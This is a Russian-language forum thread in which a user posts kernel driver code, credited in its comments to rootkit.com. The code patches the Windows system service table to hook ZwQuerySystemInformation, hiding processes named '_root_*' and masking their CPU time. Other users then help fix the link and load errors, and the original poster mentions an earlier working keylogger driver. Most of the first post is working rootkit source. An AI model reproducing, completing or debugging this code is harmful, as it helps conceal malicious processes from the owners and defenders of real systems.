Вообщем начал только осваивать перехват API ну и начал с процессов, делаю всё в Kernel-Mode. вот собственно, кусок кода. Код (Text): #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (ZWQUERYSYSTEMINFORMATION) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // Added by Creative of rootkit.com struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); // Added by Creative of rootkit.com LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; //////////////////////////////////////////////////////////////////////////////////// NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // This is a query for the process list. // Look for process names that start with // '_root_' and filter them out. struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //DbgPrint("Current item is %x\n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward curr->NextEntryDelta += (ULONG)SystemInformation ; } else // we are the only process! SystemInformation = NULL; } } } else // This is the entry for the Idle process { // Add the kernel and user times of _root_* // processes to the Idle process. curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; // Reset the timers for next time we filter m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) (curr->NextEntryDelta += (ULONG)curr); else curr = NULL; } } else if (SystemInformationClass == 8) // Query for SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return ntStatus; } /*Главная функция драйвера - точка входа*/ NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) { NTSTATUS status = STATUS_SUCCESS; IO_STATUS_BLOCK file_stat; OBJECT_ATTRIBUTES attrib; CCHAR NameFile[64] = "\\DosDevices\\c:\\autotest.txt"; //Имя файла журнала STRING NameString; UNICODE_STRING FileName; m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; // save old system call locations OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); // Map the memory into our domain so we can change the permissions on the MDL g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // Change the flags of the MDL g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = (PVOID*)MmMapLockedPages(g_pmdlSystemCall, KernelMode); // hook system calls HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); Код нагло спёр, с каких то исходников, но не суть, ковырял ковырял, разбирал, разбирал в принципе всё понятно, всё просто. но вот при компиляции я получаю то что больше всего не люблю и не до конца понимаю а именно вот такие ошибки: Код (Text): 1>main.obj : error LNK2019: unresolved external symbol _memcmp referenced in function "long __stdcall NewZwQuerySystemInformation(unsigned long,void *,unsigned long,unsigned long *)" (?NewZwQuerySystemInformation@@YGJKPAXKPAK@Z) 1>main.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) struct ServiceDescriptorEntry KeServiceDescriptorTable" (__imp_?KeServiceDescriptorTable@@3UServiceDescriptorEntry@@A) 1>main.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) long __stdcall ZwQuerySystemInformation(unsigned long,void *,unsigned long,unsigned long *)" (__imp_?ZwQuerySystemInformation@@YGJKPAXKPAK@Z) referenced in function "long __stdcall DriverEntry(struct _DRIVER_OBJECT *,struct _UNICODE_STRING *)" (?DriverEntry@@YGJPAU_DRIVER_OBJECT@@PAU_UNICODE_STRING@@@Z) Больше полу дня бьюсь над ними и ни в какую, подскажите в чём ошибка куда копать.
onSide Да вроде все папки указал Код (Text): C:\WinDDK\6001.18002\lib\atl\i386;C:\WinDDK\6001.18002\lib\mfc\i386;C:\WinDDK\6001.18002\lib\wdf\kmdf\i386;C:\WinDDK\6001.18002\lib\wnet\i386;C:\WinDDK\6001.18002\lib\crt\i386;C:\WinDDK\6001.18002\lib\w2k\i386;C:\WinDDK\6001.18002\lib\wlh\i386;C:\WinDDK\6001.18002\lib\wxp\i386 что только нашел...
А инклуды? c:\WinDDK\6001.18001\inc\api\ c:\WinDDK\6001.18001\inc\api\ c:\WinDDK\6001.18001\lib\wxp\i386\ c:\WinDDK\6001.18001\lib\wlh\i386\ Вот мои пути
Это ты в настройках студии пути прописал. А еще в настройках проекта Linker->Input->Add. dependencies: ntdll.lib и ntdllp.lib.
onSide добавил ntdll.lib и ntdllp.lib. осталось: Код (Text): 1>main.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) struct ServiceDescriptorEntry KeServiceDescriptorTable" (__imp_?KeServiceDescriptorTable@@3UServiceDescriptorEntry@@A) 1>main.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) long __stdcall ZwQuerySystemInformation(unsigned long,void *,unsigned long,unsigned long *)" (__imp_?ZwQuerySystemInformation@@YGJKPAXKPAK@Z) referenced in function "long __stdcall DriverEntry(struct _DRIVER_OBJECT *,struct _UNICODE_STRING *)" (?DriverEntry@@YGJPAU_DRIVER_OBJECT@@PAU_UNICODE_STRING@@@Z) 1
пипец, уже нереально тупо как люди компилируют свой код накачал, кучу примеров, все с ошибками, а те что исправляю приводит к эти ошибкам LNK2001, LNK2019. как от них избавится ума не приложу ((
вообщем получилось у меня с компилировать изменил так Код (Text): [b]extern "C"[/b] __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; extern "C" NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); странно теперь когда запускаю драйвер он пишет "Не удается найти указанный файл"
Пипец это как раз когда люди качают кучу примеров и надеятся что они нажмут кнопку Build и через секунду у них будет первоклассный руткит)) Так драйвер запустился или нет ? Юзай VMWare + WinDbg
Если драйвер слинкован с ntdll.dl то система его не загрузит. Надо динамически находить ntdll.dll и находить адрес нужного экспорта из него. например вот здесь http://alter.org.ua/ru/docs/nt_kernel/procaddr/ есть примеры.
Ооой что-то я ночью нифига не соображал уже видать. Причем тут ntdll.lib )) Все это должно быть в Ntoskrnl.lib. Хотя memcmp статически может и надо линковать...хз Надо студию правильно настроить под билд дровера) Из того что сразу вспоминается Subsystem: Native и /NODEFAULTLIB. ntcdm а толку что ты узнаешь юзермодные адреса экспортов в нтдлл?
onSide не драйвер вообще не запускается, на висте пишет "Не удается найти указанный файл", а в XP на виртуальной машине "не найдена указанная процедура", сейчас рассматриваю то что предложил ntcdm
Так ты посмотри что в импорте у того что ты собрал. Нтдлл там не должно быть. Если есть, посмотри какие функи оттуда експортируются.
onSide я вот тоже думаю может нафиг не нужен этот ntdll.lib, можен криво настроена сутдия, настривал так http://storinka.com.ua/2008/12/18/komplirovanie-drajverov-v-visual-studio-2008/ до этого делал драйвер кейлоггера всё работает